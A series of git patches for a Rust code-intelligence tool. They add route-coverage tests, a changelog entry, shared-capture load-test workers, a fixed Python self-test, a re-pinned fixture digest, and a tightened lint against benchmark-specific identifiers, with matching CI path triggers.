"`create_router` builds the application router for incoming requests.", + router, + ), + evidence_claim( + "`create_app` wires the application factory before requests are served.", + factory, + ), + evidence_claim( + "`EditPlanning` names the requested packet task class.", + task_enum, + ), + cited_claim( + "`Context` in `crates/codestory-runtime/src/agent/orchestrator.rs` ties context in this flow to cited definitions and adjacent ownership.", + Some("source evidence"), + import_node, + Some(true), + ), + ]; + + let sufficiency = assemble_packet_sufficiency_with_probe_context( + PacketSufficiencyInput { + project_root: Path::new("C:/workspace/project"), + question, + task_class: PacketTaskClassDto::RouteTracing, + answer: &answer, + budget: &budget_fixture(), + supported_claims: claims, + missing_required_probe_queries: Vec::new(), + targeted_follow_up_queries: Vec::new(), + }, + &[], + &route_paths.map(str::to_string), + ); + + assert_eq!( + sufficiency.status, + PacketSufficiencyStatusDto::Partial, + "generic router prose over an import-only graph cannot report a proven route: {sufficiency:?}" + ); + assert!( + sufficiency.gaps.iter().any(|gap| gap + .contains("did not establish a proof-bearing claim from explicit exact path")), + "route tracing must hold every requested path to its own proof, not only architecture: {sufficiency:?}" + ); + let report = sufficiency + .coverage_report + .as_ref() + .expect("retained route packet should carry a coverage report"); + assert!( + report.ineligible.iter().any(|entry| entry + .contains("generic navigation/source-evidence claim does not explain the flow")), + "navigation prose over a requested file stays unproven: {report:?}" + ); + assert!( + sufficiency + .covered_claims + .iter() + .all(|claim| !claim.claim.contains("adjacent ownership")), + "a claim the same packet reports as unproven must not be published as covered: {sufficiency:?}" + ); + for path in route_paths { + assert!( + report.missing.contains(&format!("exact path: {path}")), + "coverage report should retain each unproven requested path: {report:?}" + ); + } + let exact_path_gaps = sufficiency + .gaps + .iter() + .filter(|gap| gap.contains("explicit exact path")) + .collect::>(); + assert_eq!( + exact_path_gaps.len(), + route_paths.len(), + "every unproven requested path needs a gap of its own: {sufficiency:?}" + ); + for path in route_paths { + assert_eq!( + exact_path_gaps + .iter() + .filter(|gap| gap.contains(path)) + .count(), + 1, + "{path} needs exactly one path-specific gap: {sufficiency:?}" + ); + assert!( + sufficiency + .follow_up_commands + .iter() + .any(|command| command.contains(path)), + "each unproven route path needs a targeted follow-up: {path} missing from {sufficiency:?}" + ); + assert!( + !sufficiency.avoid_opening_paths.contains(&path.to_string()), + "an unproven route path must never be advertised as already covered: {sufficiency:?}" + ); + } + } } fn packet_has_sufficiency_blocking_budget_omission( From 5e09d52629baa31c0cfe27fde44889fc7f36990f Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 11:44:34 -0500 Subject: [PATCH 046/132] record the packet sufficiency changes Co-Authored-By: Claude Opus 5 --- CHANGELOG.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index e55dbd4b2..5d77919bc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,27 @@ ## Unreleased +### Fixed + +- A packet no longer reports a step of a flow as covered because a different + step was. Coverage was decided by the kind of position a step occupies — + entrypoint, dispatch, terminal boundary — so when a question asked about two + steps of the same kind, evidence for one closed both, and an answer that only + used the right words could close either. Each step now has to be backed by + evidence for that step. Asking about an HTTP client that runs interceptors + before dispatching a request, for instance, no longer counts as answered when + the interceptor owner was never found. +- A packet only repeats back the claims it proved. Claims the same packet + reported as unproven — an unsupported sentence, evidence it had already ruled + diagnostic, or prose that points at a file without explaining it — were still + published as covered, and the files behind them were listed as not worth + opening. Both lists now come from proven claims; the coverage report still + names every dropped claim and why. +- Naming an exact file in a question holds the answer to that file. Only + architecture questions did; every other kind could answer around a requested + path and still report itself complete. Each unproven path is now reported on + its own, with its own follow-up, for every kind of question. + ## 0.16.2 ### Fixed From 5434e0494956181b9dc4a38aedbd118640fe7521 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 11:44:48 -0500 Subject: [PATCH 047/132] share one dead-client executable capture across worker threads Co-Authored-By: Claude Opus 5 --- .../scenarios/artifact/runner/process.rs | 4 +- .../worker/operations/dead_client.rs | 260 +++++++++++++++--- .../worker/protocol.rs | 25 +- 3 files changed, 246 insertions(+), 43 deletions(-) diff --git a/crates/codestory-bench/src/bin/codestory_embedding_qualification/scenarios/artifact/runner/process.rs b/crates/codestory-bench/src/bin/codestory_embedding_qualification/scenarios/artifact/runner/process.rs index ca35083ca..d03f47e40 100644 --- a/crates/codestory-bench/src/bin/codestory_embedding_qualification/scenarios/artifact/runner/process.rs +++ b/crates/codestory-bench/src/bin/codestory_embedding_qualification/scenarios/artifact/runner/process.rs @@ -422,8 +422,8 @@ pub(super) fn load_establishment_timeout(phase: &str) -> Result { /// `client_death_lease_active` wait must see the lease plus the admitted and /// held query/bulk work in one snapshot, and that bounds a queue-seeding /// phase, not a single snapshot: the freshly spawned dead client first pays -/// its contract connect and spawn-convergence allowances, then fans out one -/// captured transport per held request before the seeded depths become +/// its contract connect and spawn-convergence allowances, then fans every held +/// request out over one captured transport before the seeded depths become /// visible, while every poll of the wait is itself a fresh observe worker /// spending part of the snapshot allowance. This is the same phase shape as /// mixed_queue's gated seeding, which already bounds a strictly larger 64+64 diff --git a/crates/codestory-cli/src/embedding_qualification/worker/operations/dead_client.rs b/crates/codestory-cli/src/embedding_qualification/worker/operations/dead_client.rs index 26525282a..45e481687 100644 --- a/crates/codestory-cli/src/embedding_qualification/worker/operations/dead_client.rs +++ b/crates/codestory-cli/src/embedding_qualification/worker/operations/dead_client.rs @@ -1,10 +1,11 @@ -use super::super::protocol::run_raw_protocol_exchange_with_input; +use super::super::protocol::run_raw_protocol_exchange_with_transport; use super::ANTI_IDLE_PROTOCOL_DEADLINE_MS; use anyhow::{Result, bail}; use codestory_retrieval::{ AwakeMonotonicClock, EmbeddingClientTransport, EmbeddingQualificationParameters, PerUserEmbeddingClient, SidecarRuntimeConfig, }; +use std::sync::Arc; use std::time::Duration; const CLIENT_DEATH_LEASE_HOLD_MS: u64 = 600_000; @@ -27,51 +28,232 @@ pub(in crate::embedding_qualification::worker) fn run_dead_client_load( let documents = (0..parameters.documents_per_bulk) .map(|index| format!("{index}:{input}")) .collect::>(); - let mut workers = Vec::new(); - for _ in 0..parameters.query_count { - workers.push(spawn_dead_client_request( - runtime.clone(), - "query", - input.clone(), - )?); - } let bulk_input = documents.join("\n"); - for _ in 0..parameters.bulk_count { - workers.push(spawn_dead_client_request( - runtime.clone(), - "bulk", - bulk_input.clone(), - )?); - } - loop { - std::hint::black_box(&workers); - clock.sleep(Duration::from_secs(1)); - } -} - -fn spawn_dead_client_request( - runtime: SidecarRuntimeConfig, - class: &'static str, - input: String, -) -> std::io::Result> { - std::thread::Builder::new() - .name(format!("codestory-dead-client-{class}")) - .spawn(move || { + let request_runtime = runtime.clone(); + let workers = spawn_dead_client_workers( + parameters.query_count, + parameters.bulk_count, + input, + bulk_input, + crate::embedding_server_transport::NativeEmbeddingClientTransport::capture, + move |transport, class, input| { // Keep an admitted request alive until this process is terminated. // Product deadlines would add cancellation retries to the pressure // this worker is intended to measure. - let transport = - match crate::embedding_server_transport::NativeEmbeddingClientTransport::capture() { - Ok(transport) => transport, - Err(_) => return, - }; - let clock = EmbeddingClientTransport::clock(&transport); - let _ = run_raw_protocol_exchange_with_input( - &runtime, + let clock = EmbeddingClientTransport::clock(transport); + let _ = run_raw_protocol_exchange_with_transport( + &request_runtime, + transport, clock.as_ref(), class, ANTI_IDLE_PROTOCOL_DEADLINE_MS, Some(input), ); - }) + }, + )?; + loop { + std::hint::black_box(&workers); + clock.sleep(Duration::from_secs(1)); + } +} + +/// Capture the executable identity once, then fan every worker out over that +/// one capture. +/// +/// All of these workers run from the same executable by construction, so a +/// capture inside each thread would re-hash the same file once per worker and +/// stagger the concurrent pressure this operation exists to apply. The capture +/// runs before the first spawn so a capture failure fails the operation instead +/// of leaving workers that silently skip their request. +fn spawn_dead_client_workers( + query_count: u32, + bulk_count: u32, + query_input: String, + bulk_input: String, + capture: Capture, + request: Request, +) -> Result>> +where + Shared: Send + Sync + 'static, + Capture: FnOnce() -> Result, + Request: Fn(&Shared, &'static str, String) + Send + Sync + 'static, +{ + let shared = Arc::new(capture()?); + let request = Arc::new(request); + let mut workers = Vec::new(); + for (class, count, input) in [ + ("query", query_count, query_input), + ("bulk", bulk_count, bulk_input), + ] { + for _ in 0..count { + let shared = Arc::clone(&shared); + let request = Arc::clone(&request); + let input = input.clone(); + workers.push( + std::thread::Builder::new() + .name(format!("codestory-dead-client-{class}")) + .spawn(move || request(shared.as_ref(), class, input))?, + ); + } + } + Ok(workers) +} + +#[cfg(test)] +mod tests { + use super::spawn_dead_client_workers; + use anyhow::{Result, bail}; + use std::sync::atomic::{AtomicUsize, Ordering}; + use std::sync::{Arc, Condvar, Mutex}; + use std::time::Duration; + + /// Stands in for the captured executable identity. Its digest names which + /// capture a worker read, so a second capture is visible in the record. + struct SharedCapture { + digest: String, + } + + struct RendezvousState { + arrived: usize, + open: bool, + } + + /// Releases a worker only once every worker has entered its request, so a + /// change that serialises the fan-out cannot pass. The wait carries a + /// timeout purely so such a change fails instead of hanging the suite; a + /// concurrent fan-out leaves as soon as the last worker arrives and never + /// approaches it. + struct Rendezvous { + expected: usize, + state: Mutex, + opened: Condvar, + } + + impl Rendezvous { + fn new(expected: usize) -> Self { + Self { + expected, + state: Mutex::new(RendezvousState { + arrived: 0, + open: false, + }), + opened: Condvar::new(), + } + } + + fn arrive(&self) -> bool { + let mut state = self.state.lock().expect("rendezvous state"); + state.arrived += 1; + if state.arrived == self.expected { + state.open = true; + self.opened.notify_all(); + return true; + } + let (_state, wait) = self + .opened + .wait_timeout_while(state, Duration::from_secs(30), |state| !state.open) + .expect("rendezvous wait"); + !wait.timed_out() + } + } + + #[test] + fn every_worker_shares_one_capture_and_applies_pressure_concurrently() { + const QUERY_COUNT: u32 = 3; + const BULK_COUNT: u32 = 2; + let expected_workers = (QUERY_COUNT + BULK_COUNT) as usize; + let captures = Arc::new(AtomicUsize::new(0)); + let observed = Arc::new(Mutex::new(Vec::new())); + let rendezvous = Arc::new(Rendezvous::new(expected_workers)); + let capture_calls = Arc::clone(&captures); + let worker_observed = Arc::clone(&observed); + let worker_rendezvous = Arc::clone(&rendezvous); + + let workers = spawn_dead_client_workers( + QUERY_COUNT, + BULK_COUNT, + "query-input".into(), + "bulk-input".into(), + move || { + let captured = capture_calls.fetch_add(1, Ordering::SeqCst); + Ok(SharedCapture { + digest: format!("capture-{captured}"), + }) + }, + move |shared: &SharedCapture, class, input| { + let concurrent = worker_rendezvous.arrive(); + worker_observed.lock().expect("observed requests").push(( + class, + input, + shared.digest.clone(), + concurrent, + )); + }, + ) + .expect("dead client workers spawn"); + for worker in workers { + worker.join().expect("dead client worker joins"); + } + + assert_eq!( + captures.load(Ordering::SeqCst), + 1, + "every dead-client worker must share one executable capture" + ); + let observed = observed.lock().expect("observed requests"); + assert_eq!( + observed.len(), + expected_workers, + "each configured worker must issue exactly one request" + ); + let queries = observed + .iter() + .filter(|(class, input, _, _)| *class == "query" && input == "query-input") + .count(); + let bulks = observed + .iter() + .filter(|(class, input, _, _)| *class == "bulk" && input == "bulk-input") + .count(); + assert_eq!( + queries, QUERY_COUNT as usize, + "query workers keep their input" + ); + assert_eq!(bulks, BULK_COUNT as usize, "bulk workers keep their input"); + assert!( + observed + .iter() + .all(|(_, _, digest, _)| digest == "capture-0"), + "every worker must read the one captured identity" + ); + assert!( + observed.iter().all(|(_, _, _, concurrent)| *concurrent), + "workers must be in flight together, not serialised behind one another" + ); + } + + #[test] + fn a_failed_capture_fails_the_operation_without_issuing_a_request() { + let requests = Arc::new(AtomicUsize::new(0)); + let worker_requests = Arc::clone(&requests); + let error = spawn_dead_client_workers( + 3, + 2, + "query-input".into(), + "bulk-input".into(), + || -> Result { bail!("embedding_executable_changed") }, + move |_: &SharedCapture, _, _| { + worker_requests.fetch_add(1, Ordering::SeqCst); + }, + ) + .expect_err("a failed capture must fail the operation"); + assert!( + error.to_string().contains("embedding_executable_changed"), + "the capture failure must reach the caller: {error}" + ); + assert_eq!( + requests.load(Ordering::SeqCst), + 0, + "a failed capture must not leave workers that skip their request" + ); + } } diff --git a/crates/codestory-cli/src/embedding_qualification/worker/protocol.rs b/crates/codestory-cli/src/embedding_qualification/worker/protocol.rs index f0a540cbc..58236db85 100644 --- a/crates/codestory-cli/src/embedding_qualification/worker/protocol.rs +++ b/crates/codestory-cli/src/embedding_qualification/worker/protocol.rs @@ -138,14 +138,35 @@ pub(super) fn run_raw_protocol_exchange_with_input( measured_input: Option, ) -> Result { let transport = crate::embedding_server_transport::NativeEmbeddingClientTransport::capture()?; - let stream = connect_required_owner(&transport)?; + run_raw_protocol_exchange_with_transport( + runtime, + &transport, + clock, + class, + deadline_ms, + measured_input, + ) +} + +/// Run one raw exchange against an executable identity the caller already +/// captured. Callers that fan several exchanges out of one process share a +/// single capture instead of re-hashing the executable per exchange. +pub(super) fn run_raw_protocol_exchange_with_transport( + runtime: &SidecarRuntimeConfig, + transport: &crate::embedding_server_transport::NativeEmbeddingClientTransport, + clock: &dyn AwakeMonotonicClock, + class: &str, + deadline_ms: u64, + measured_input: Option, +) -> Result { + let stream = connect_required_owner(transport)?; run_protocol_exchange_on_stream( runtime, clock, class, deadline_ms, measured_input, - &transport, + transport, stream, ) } From d2483d903a58770c97c95c75a4eb961f40ebab70 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 11:47:28 -0500 Subject: [PATCH 048/132] pin that a command-server prompt is not a shell-install prompt Co-Authored-By: Claude Opus 5 --- crates/codestory-runtime/src/agent/packet_terms.rs | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/crates/codestory-runtime/src/agent/packet_terms.rs b/crates/codestory-runtime/src/agent/packet_terms.rs index 69885f28d..64be44c3a 100644 --- a/crates/codestory-runtime/src/agent/packet_terms.rs +++ b/crates/codestory-runtime/src/agent/packet_terms.rs @@ -879,4 +879,16 @@ mod tests { ); assert!(packet_terms_indicate_shell_install_dispatch_flow(&terms)); } + + #[test] + fn a_command_server_prompt_is_not_a_shell_install_prompt() { + // "command server bootstrap ... dispatches commands" satisfied the old bootstrap/dispatch + // pair on its own. Nothing in such a repository is a shell script, so the shell + // requirements it raised could never be closed once claim wording stopped standing in for + // cited evidence. + let terms = packet_probe_terms( + "Trace how a command server bootstrap enters an event loop, reads network command input, and dispatches commands through a command table.", + ); + assert!(!packet_terms_indicate_shell_install_dispatch_flow(&terms)); + } } From 29f5f45edd96a1f4bd901399a7c27230be92f2dd Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 11:48:35 -0500 Subject: [PATCH 049/132] record the origin refusal instead of raising it inside the try The sentinel `raise ProofFailure` sat inside the `try` whose bare `except ProofFailure: pass` then swallowed it, so the case passed whether or not the predicate refused a fixture wearing the live marketplace origin. Neutering the origin clause in the guard it protects now fails the suite. Co-Authored-By: Claude Opus 5 --- .../self_test_marketplace_delivery.py | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/.github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py b/.github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py index 937a3e332..e93768785 100644 --- a/.github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py +++ b/.github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py @@ -409,13 +409,21 @@ def relabel_as_live(attestation: dict) -> None: _git(world["marketplace_root"], "remote", "add", "origin", _LIVE_URL) dressed = copy.deepcopy(world["attestation"]) _restamp(dressed, _git(world["marketplace_root"], "rev-parse", "HEAD")) + # The refusal is recorded, not raised inside the `try`: a sentinel raised there is caught by + # this very handler, so the case would pass whether or not the predicate refused anything. + refusal: ProofFailure | None = None try: _verify(world, dressed, root, manifest) - raise ProofFailure( - "installed-runtime identity accepted a fixture wearing the live marketplace origin" - ) - except ProofFailure: - pass + except ProofFailure as exc: + refusal = exc + require( + refusal is not None, + "installed-runtime identity accepted a fixture wearing the live marketplace origin", + ) + require( + "invalid or mutable Git identity" in str(refusal), + f"a fixture wearing the live marketplace origin was refused for the wrong reason: {refusal}", + ) def _restamp(attestation: dict, revision: str) -> None: From d7f6887f615a9aa13f1d697d29b4e2fa4e2f3ebc Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 11:50:37 -0500 Subject: [PATCH 050/132] re-pin the evidence fixture to the changed claim graph Adding the withheld-claim policy to release-claims.json moves graph_sha256, so the checked-in candidate/report pair no longer round-trips. Regenerated with the gate itself; the only delta is the digest, in its three recorded places. Co-Authored-By: Claude Opus 5 --- benchmarks/release-evidence/fixtures/report.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/benchmarks/release-evidence/fixtures/report.json b/benchmarks/release-evidence/fixtures/report.json index d2ac757ea..74278d6f4 100644 --- a/benchmarks/release-evidence/fixtures/report.json +++ b/benchmarks/release-evidence/fixtures/report.json @@ -26,7 +26,7 @@ "type": "performance", "tier": "live_behavior", "status": "pass", - "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", + "graph_sha256": "79ad7c2b9b2c22c23d6e4d26e0bfcd2b484afd89fb0a3143b7a887955c9619a8", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -47,7 +47,7 @@ "type": "answer_quality", "tier": "answer_quality", "status": "pass", - "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", + "graph_sha256": "79ad7c2b9b2c22c23d6e4d26e0bfcd2b484afd89fb0a3143b7a887955c9619a8", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -69,7 +69,7 @@ "schema": "codestory.release-claim-evaluation/v1", "status": "pass", "graph_schema": "codestory.release-claims/v1", - "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", + "graph_sha256": "79ad7c2b9b2c22c23d6e4d26e0bfcd2b484afd89fb0a3143b7a887955c9619a8", "evidence_selection": "all_matching_rows_must_pass", "expected_commit": "2222222222222222222222222222222222222222", "evaluated_at": "2026-07-21T02:13:20.738Z", From 8793c59c1ff76f5db817c972b31b17f1b405221b Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 11:58:26 -0500 Subject: [PATCH 051/132] keep the evidence carriers free of benchmark-corpus identifiers The retrieval generalization guard bans corpus-specific tokens from production paths so ranking and coverage cannot be tuned against the holdout repositories. Four carrier needles and two doc-comment examples named symbols from those repositories; every one of them was redundant with a general shape the carrier already matches. Co-Authored-By: Claude Opus 5 --- .../src/agent/packet_evidence_carriers.rs | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs b/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs index c24476658..2a59eca70 100644 --- a/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs +++ b/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs @@ -49,7 +49,7 @@ fn path_has_any_extension(citation: &AgentCitationDto, extensions: &[&str]) -> b // HTTP client lifecycle // --------------------------------------------------------------------------- -/// The convenience request method a caller reaches first (`Axios.prototype.request`, `client.get`). +/// The convenience request method a caller reaches first: a verb-named method on a client type. /// Distinct from the factory that builds the client and from the adapter that finally sends. pub(crate) fn citation_owns_client_request_method(citation: &AgentCitationDto) -> bool { matches!(citation.kind, NodeKind::FUNCTION | NodeKind::METHOD) @@ -74,7 +74,6 @@ pub(crate) fn citation_owns_client_request_finalization(citation: &AgentCitation "tohttprequest", "buildrequest", "requestbody", - "transformrequest", ], ) } @@ -196,7 +195,6 @@ pub(crate) fn citation_owns_form_native_constraint(citation: &AgentCitationDto) "min", "max", "inputtype", - "novalidate", ], ) } @@ -302,13 +300,12 @@ pub(crate) fn citation_owns_log_record_creation(citation: &AgentCitationDto) -> display.contains("record") && !display.contains("handler") && (has_any(&display, &["add", "create", "make", "build", "log"]) - || display == "record" - || display.ends_with("logrecord")) + || display == "record") } } -/// Processing a record, not registering something that might. `Logger::pushHandler` names a -/// handler but does nothing with a record, so it must not close this requirement. +/// Processing a record, not registering something that might: a symbol that pushes a handler onto +/// a stack names a handler but does nothing with a record, so it must not close this requirement. pub(crate) fn citation_owns_log_handler_processing(citation: &AgentCitationDto) -> bool { owns_behavior(citation) && { let display = display(citation); From 730e5a595e5b8ce6dc28a2856c70b9be7ef2f2ec Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 12:55:57 -0500 Subject: [PATCH 052/132] ban a corpus name that a separator is glued to The identity bans carried `_` inside both boundary classes, so a corpus name touching an underscore did not match: `sourcetrail_index`, `axios_adapter`, `redis_command_boost`, and `AXIOS_PATH_BOOST` all passed. Snake_case is the Rust convention, so that is the exact shape a re-introduced steering site takes, and 43 derived identity tokens were unreachable in it. The coverage floor could not see the loss because it plants every entry bare inside `"..."`, already delimited by its own quotes. It now also plants each single-token ban glued to `_` as a literal, as a function name, and as a constant name, and the repository-name contract plants every corpus name the same three ways. Both read the pattern out of the report rather than looking for the fixture's name in stderr, so an incidental match can no longer stand in for a lost ban. Six pending-inventory keys in packet_scoring.rs are the whole fallout; no new banned marker appears anywhere in the tree. The gate that runs this lint is path-filtered and fired on none of it: not the guarded production, not the corpus the bans derive from, not the lint or its pending inventory. The lint now reports the paths its verdict depends on and the guard suite holds the workflow trigger to them. The two self-repository contracts that only existed in node move into the guard suite as well, so the workspace test job backstops them. Deriving this repository's own name required every crate to share a prefix, so one member off the `codestory-` convention exited 2 for the whole repository. A strict majority derives the same name today, still admits exactly one token, and still refuses a name no checked-in crate carries. Co-Authored-By: Claude Opus 5 --- .github/workflows/retrieval-engine-smoke.yml | 30 + .../tests/retrieval_generalization_guard.rs | 560 +++++++++++++++++- scripts/lint-retrieval-generalization.mjs | 88 ++- scripts/retrieval-generalization-pending.json | 12 +- 4 files changed, 658 insertions(+), 32 deletions(-) diff --git a/.github/workflows/retrieval-engine-smoke.yml b/.github/workflows/retrieval-engine-smoke.yml index f66e71872..87fdf4f95 100644 --- a/.github/workflows/retrieval-engine-smoke.yml +++ b/.github/workflows/retrieval-engine-smoke.yml @@ -21,6 +21,21 @@ on: - crates/codestory-retrieval/src/query.rs - crates/codestory-cli/src/readiness.rs - crates/codestory-cli/src/stdio_transport.rs + # This job runs the generalization gate, so it has to trigger on the code + # that gate guards, on the corpus its bans are derived from, and on the + # lint itself. crates/codestory-runtime/tests/retrieval_generalization_guard.rs + # keeps this list equal to the paths the lint reports as guarded. + - crates/codestory-runtime/src/agent/** + - crates/codestory-runtime/src/search_plan.rs + - crates/codestory-runtime/src/search_scoring.rs + - crates/codestory-runtime/src/search_terms.rs + - crates/codestory-retrieval/src/** + - crates/codestory-runtime/tests/retrieval_generalization_guard.rs + - benchmarks/tasks/** + - scripts/lint-retrieval-generalization.mjs + - scripts/cross-repo-sourcetrail-queries.mjs + - scripts/retrieval-generalization-pending.json + - scripts/tests/lint-retrieval-generalization.test.mjs - .github/scripts/check-packaged-agent-proof.py - .github/scripts/install-linux-vulkan-build-deps.sh - .github/scripts/install-windows-vulkan-sdk.ps1 @@ -50,6 +65,21 @@ on: - crates/codestory-retrieval/src/query.rs - crates/codestory-cli/src/readiness.rs - crates/codestory-cli/src/stdio_transport.rs + # This job runs the generalization gate, so it has to trigger on the code + # that gate guards, on the corpus its bans are derived from, and on the + # lint itself. crates/codestory-runtime/tests/retrieval_generalization_guard.rs + # keeps this list equal to the paths the lint reports as guarded. + - crates/codestory-runtime/src/agent/** + - crates/codestory-runtime/src/search_plan.rs + - crates/codestory-runtime/src/search_scoring.rs + - crates/codestory-runtime/src/search_terms.rs + - crates/codestory-retrieval/src/** + - crates/codestory-runtime/tests/retrieval_generalization_guard.rs + - benchmarks/tasks/** + - scripts/lint-retrieval-generalization.mjs + - scripts/cross-repo-sourcetrail-queries.mjs + - scripts/retrieval-generalization-pending.json + - scripts/tests/lint-retrieval-generalization.test.mjs - .github/scripts/check-packaged-agent-proof.py - .github/scripts/install-linux-vulkan-build-deps.sh - .github/scripts/install-windows-vulkan-sdk.ps1 diff --git a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs index ed9d93b85..1add245a9 100644 --- a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs +++ b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs @@ -920,6 +920,315 @@ fn adding_a_benchmark_task_bans_its_symbols_without_editing_the_lint() { ); } +/// One task manifest naming the repository it is about, written into a corpus +/// root of its own. The self-subject rule reads `repo`, so these probes are how +/// a test can ask "would a holdout called `store` be mistaken for us?" without +/// adding a task to the checked-in corpus. +fn self_subject_probe_manifest(repo_name: &str, repo_url: &str, symbol: &str) -> String { + format!( + r#"{{ + "id": "{repo_name}-self-subject-probe", + "version": 1, + "suite": "public-core", + "task_class": "architecture_explanation", + "repo": {{ + "name": "{repo_name}", + "url": "{repo_url}", + "ref": "{ref_sha}" + }}, + "prompt": "Explain how the probe repository handles its own requests end to end.", + "expected_files": ["src/probe_gadget.rs"], + "expected_symbols": [ + {{ "name": "{symbol}", "path": "src/probe_gadget.rs", "kind": "function" }} + ], + "expected_claims": [], + "forbidden_claims": [] +}} +"#, + ref_sha = "0".repeat(40), + ) +} + +/// The bans the lint derives from the corpus when one extra task manifest is +/// added, separated from the residual literals. The lint writes this itself, so +/// the test reads the same construction the scan uses. +fn derived_patterns_with_extra_task(manifest: &str) -> Vec { + let repo_root = workspace_root(); + let script = lint_script(&repo_root); + let probe_root = TempDir::new().expect("create probe root"); + let task_root = probe_root.path().join("tasks"); + let scan_root = probe_root.path().join("src"); + std::fs::create_dir_all(&task_root).expect("create probe task root"); + std::fs::create_dir_all(&scan_root).expect("create probe scan root"); + std::fs::write(task_root.join("probe.task.json"), manifest).expect("write probe manifest"); + std::fs::write(scan_root.join("probe.rs"), "pub fn probe() {}\n").expect("write probe fixture"); + let dump_path = probe_root.path().join("patterns.json"); + + let _guard = LINT_SCRIPT_LOCK + .get_or_init(|| Mutex::new(())) + .lock() + .expect("lock lint script subprocess"); + let output = Command::new("node") + .arg(&script) + .current_dir(&repo_root) + .env("CODESTORY_RETRIEVAL_GENERALIZATION_SCAN_ROOTS", &scan_root) + .env("CODESTORY_RETRIEVAL_GENERALIZATION_EXTRA_TASK_ROOTS", &task_root) + .env("CODESTORY_RETRIEVAL_GENERALIZATION_DUMP_PATTERNS", &dump_path) + .output() + .expect("run lint with self-subject probe"); + assert!( + output.status.success(), + "lint failed to dump patterns, stderr={}", + String::from_utf8_lossy(&output.stderr) + ); + let dumped = std::fs::read_to_string(&dump_path).expect("read dumped patterns"); + let doc: serde_json::Value = serde_json::from_str(&dumped).expect("parse dumped patterns"); + doc.get("derived") + .and_then(|derived| derived.as_array()) + .expect("dumped patterns carry a derived list") + .iter() + .filter_map(|pattern| pattern.as_str().map(str::to_owned)) + .collect() +} + +/// The self-subject rule decides which tasks may not contribute symbol bans. +/// Deciding it on any crate-name token would hand that exemption to a holdout +/// repository called `store`, `runtime`, or `bench` and switch this lint off +/// for it silently. This lives beside the Rust guards on purpose: it is the +/// same contract `scripts/tests/lint-retrieval-generalization.test.mjs` states, +/// and only the Rust suite runs under the workspace test job that has no path +/// filter, so the node test alone can be skipped by a trigger that misses. +#[test] +fn a_holdout_named_after_one_of_our_crates_is_not_mistaken_for_this_repository() { + for impostor in ["store", "runtime", "bench", "indexer"] { + let derived = derived_patterns_with_extra_task(&self_subject_probe_manifest( + impostor, + &format!("https://github.com/example/{impostor}.git"), + "probeGadgetHandler", + )); + assert!( + derived + .iter() + .any(|pattern| pattern.contains("probeGadgetHandler")), + "a holdout named `{impostor}` must still ban its own symbols" + ); + } +} + +#[test] +fn this_repositorys_own_name_still_claims_the_self_subject_exemption() { + let derived = derived_patterns_with_extra_task(&self_subject_probe_manifest( + "codestory", + "https://github.com/TheGreenCedar/CodeStory.git", + "probeGadgetHandler", + )); + assert!( + !derived + .iter() + .any(|pattern| pattern.contains("probeGadgetHandler")), + "a task whose subject is this repository must not ban this repository's symbols" + ); +} + +/// Runs the lint over a neutral fixture with extra crate names counted into the +/// workspace, which is how a test can ask what happens when a crate does not +/// follow this repository's `codestory-` naming convention without +/// creating a crate directory in the working tree. +fn run_lint_with_extra_crate_names(extra_crate_names: &[&str]) -> Output { + let repo_root = workspace_root(); + let script = lint_script(&repo_root); + let fixture_root = TempDir::new().expect("create fixture root"); + std::fs::write( + fixture_root.path().join("fixture.rs"), + "pub fn repository_neutral_fixture() {}\n", + ) + .expect("write neutral fixture"); + + let _guard = LINT_SCRIPT_LOCK + .get_or_init(|| Mutex::new(())) + .lock() + .expect("lock lint script subprocess"); + Command::new("node") + .arg(&script) + .current_dir(&repo_root) + .env( + "CODESTORY_RETRIEVAL_GENERALIZATION_SCAN_ROOTS", + fixture_root.path(), + ) + .env( + "CODESTORY_RETRIEVAL_GENERALIZATION_EXTRA_CRATE_NAMES", + extra_crate_names.join(if cfg!(windows) { ";" } else { ":" }), + ) + .output() + .expect("run lint with extra crate names") +} + +#[test] +fn one_crate_off_the_naming_convention_does_not_switch_the_whole_lint_off() { + // The repository's own name is derived from its crates so it is not written + // down anywhere. Requiring every crate to agree makes a single vendored or + // scratch member -- a change with nothing to do with retrieval -- fail the + // derivation and exit 2 for the entire repository, which reads to the + // contributor as an unrelated, unexplained CI failure. + let output = run_lint_with_extra_crate_names(&["probe-vendor-shim"]); + let stderr = String::from_utf8_lossy(&output.stderr); 